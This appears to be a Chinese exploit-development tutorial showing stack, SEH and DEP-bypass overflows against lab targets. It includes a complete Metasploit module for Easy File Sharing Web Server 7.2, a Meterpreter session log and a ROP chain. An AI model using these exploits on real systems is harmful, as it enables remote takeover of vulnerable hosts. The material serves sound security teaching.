这部分是对Window x86平台下的几个典型漏洞利用方式的介绍,从最基础的、没有开启任何保护的漏洞程序入手,然后开启GS,最后通过rop绕过DEP。
0x00 漏洞利用开发简介
(1)需要什么
- 函数调用与栈:调用、返回
- 寄存器与函数栈帧:ESP、EBP
- 函数栈帧:局部变量、栈帧状态值、函数返回地址
- 函数调用约定与相关指令:参数传递方式、参数入栈顺序、恢复堆栈平衡的操作
(2)函数调用的汇编过程
示例程序
1
2
3
4
5
6charname[] = "1234567";
voidfunc(int a, int b, int c)
{
charbuf[8];
strcpy(buf, name);
}汇编过程
- PUSH c, PUSH b, PUSH a
- CALL address of func【保存返回地址;跳转】
- MOV ebp, esp
- PUSH ebp
- SUB esp, 0x40
- 创建局部变量,4个字节为一组
- do something
- add esp, 0x40
- pop ebp
- RETN【弹出返回地址,跳转】
- 栈帧结构
0x01 简单栈溢出
目标程序:
bof-server source code
bof-server binary for Windows
usage:
服务端bof-server.exe 4242
客户端telnet localhost 4242
version
bof-server v0.01
quit
漏洞点
产生崩溃
将输出的1024个A发送给靶机程序1
2python -c "print('A' * 1024)"
telnet 192.168.64.138 4242
关闭防御措施
使用PESecurity检查可执行文件本身的防御措施开启情况
注意设置:Set-ExecutionPolicyUnrestricted
ASLR和DEP
ASLR在xp下不用考虑,DEP可通过修改boot.ini中的nonexecute来完成(AlwaysOff、OptOut)
整体的攻击流程:
- 任意非00的指令覆盖buffer和EBP
- 从程序已经加载的dll中获取他们的jmp esp指令地址。
- 使用jmp esp的指令地址覆盖ReturnAddress
- 从下一行开始填充Shellcode
确定溢出点的位置
生成字符序列 pattern_create.rb
发送给目标程序
计算偏移量 pattern_offset.rb
确定payload结构
寻找jmp esp跳板
- OD附加进程看一下服务器加载了哪些模块
- 查找JMP ESP指令的地址
在这里选择了ws2_32.dll作为对象,通过Metasploit的msfbinscan进行搜索
自动化攻击
1 | require 'msf/core' |
1 | msf5 > use exploit/windows/yanhan/bof_attack |
0x02 基于SEH的栈溢出
目标程序 Easy File Sharing Web Server 7.2
漏洞点
在处理请求时存在漏洞——一个恶意的请求头部(HEAD或GET)就可以引起缓冲区溢出,从而改写SEH链的地址。利用seh
填充物+nseh+ seh(pop popretn指令序列地址)+shellcode
确定溢出点的位置
- 生成字符序列
1
2
3/opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb -l 10000 > a.txt
python -c "print(' HTTP/1.0\r\n\r\n')" > b.txt
cat a.txt b.txt > c.txt
删除cat造成的多余字符0x0a1
2
3
4
5vim -bz.txt
# In Vim
:%!xxd
# After editing, use the instruction below to save
:%!xxd -r
- 构造SEH链
- 将Easy File Sharing Web Server 7.2加载到ImmunityDebugger中,并处于运行状态。
- 发送溢出字符序列
- 查看Easy File Sharing Web Server 7.2溢出地址
- 计算偏移量
计算catch块偏移量&计算下一条SEH记录偏移量
寻找PPR
- 使用mona寻找
需要POP/POP/RET指令的地址来载入下一条SEH记录的地址,并跳转到攻击载荷1
2!mona modules
!mona seh
自动化攻击
编写攻击脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Easy File Sharing HTTP Server 7.2 SEH Overflow',
'Description' => %q{
This Module Demonstrate SEH based overflow example
},
'Author' => 'yanhan',
'Payload' =>
{
'Space' => 390,
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e"
},
'Platform' => 'Windows',
'Targets' =>
[
[
'Easy File Sharing 7.2 HTTP',
{
'Ret' => 0x10022fd7,
'Offset' => 4061
}
]
],
'DisclosureDate' => '2019-01-16',
))
end
def exploit
connect
weapon = "HEAD "
weapon << make_nops(target['Offset'])
weapon << generate_seh_record(target['Ret'])
weapon << make_nops(20)
weapon << payload.encoded
weapon << " HTTP/1.0\r\n\r\n"
sock.put(weapon)
handler
disconnect
end
endexploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19msf5 > use exploit/windows/yanhan/seh_attack
msf5 exploit(windows/yanhan/seh_attack) > set rhosts 192.168.31.114
rhosts => 192.168.31.114
msf5 exploit(windows/yanhan/seh_attack) > set rport 80
rport => 80
msf5 exploit(windows/yanhan/seh_attack) > exploit
[*] Started reverse TCP handler on 192.168.31.84:4444
[*] Exploit completed, but no session was created.
msf5 exploit(windows/yanhan/seh_attack) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf5 exploit(windows/yanhan/seh_attack) > exploit
[*] Started bind TCP handler against 192.168.31.114:4444
[*] Sending stage (179779 bytes) to 192.168.31.114
[*] Meterpreter session 1 opened (192.168.31.84:46601 -> 192.168.31.114:4444) at 2019-07-10 16:43:47 +0800
meterpreter > getuid
Server username: WHU-3E3EECEBFD1\Administrator
0x03 绕过DEP
目标程序 Introducing Vulnserver
使用 vulnserver.exe 6666
漏洞点
设置DEP保护
构建ROP链来调用VirtualProtect()关闭DEP并执行Shellcode
计算偏移量
'TRUN .'+make_nops(target['Offset'])
Immunity附加进程之后,在服务端发送3000个字符,计算偏移
创建ROP链
!mona rop -m *.dll -cp nonull
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67################################################################################
Register setup for VirtualProtect() :
--------------------------------------------
EAX = NOP (0x90909090)
ECX = lpOldProtect (ptr to W address)
EDX = NewProtect (0x40)
EBX = dwSize
ESP = lPAddress (automatic)
EBP = ReturnTo (ptr to jmp esp)
ESI = ptr to VirtualProtect()
EDI = ROP NOP (RETN)
--- alternative chain ---
EAX = ptr to &VirtualProtect()
ECX = lpOldProtect (ptr to W address)
EDX = NewProtect (0x40)
EBX = dwSize
ESP = lPAddress (automatic)
EBP = POP (skip 4 bytes)
ESI = ptr to JMP [EAX]
EDI = ROP NOP (RETN)
+ place ptr to "jmp esp" on stack, below PUSHAD
--------------------------------------------
ROP Chain for VirtualProtect() [(XP/2003 Server and up)] :
----------------------------------------------------------
*** [ Ruby ] ***
def create_rop_chain()
# rop chain generated with mona.py - www.corelan.be
rop_gadgets =
[
0x77dabf34, # POP ECX # RETN [ADVAPI32.dll]
0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll]
0x77d1927f, # MOV EAX,DWORD PTR DS:[ECX] # RETN [USER32.dll]
0x7c96d192, # XCHG EAX,ESI # RETN [ntdll.dll]
0x77bef671, # POP EBP # RETN [msvcrt.dll]
0x625011af, # & jmp esp [essfunc.dll]
0x77e9ad22, # POP EAX # RETN [RPCRT4.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x77e6c784, # NEG EAX # RETN [RPCRT4.dll]
0x77dc560a, # XCHG EAX,EBX # RETN [ADVAPI32.dll]
0x7c87fbcb, # POP EAX # RETN [kernel32.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x77d4493b, # NEG EAX # RETN [USER32.dll]
0x77c28fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77bef7c9, # POP ECX # RETN [msvcrt.dll]
0x7c99bac1, # &Writable location [ntdll.dll]
0x719e4870, # POP EDI # RETN [mswsock.dll]
0x77e6d224, # RETN (ROP NOP) [RPCRT4.dll]
0x77e8c50c, # POP EAX # RETN [RPCRT4.dll]
0x90909090, # nop
0x77de60c7, # PUSHAD # RETN [ADVAPI32.dll]
].flatten.pack("V*")
return rop_gadgets
end
# Call the ROP chain generator inside the 'exploit' function :
rop_chain = create_rop_chain()
自动化攻击
1 | require 'msf/core' |
1 | msf5 > use exploit/windows/yanhan/rop_attack |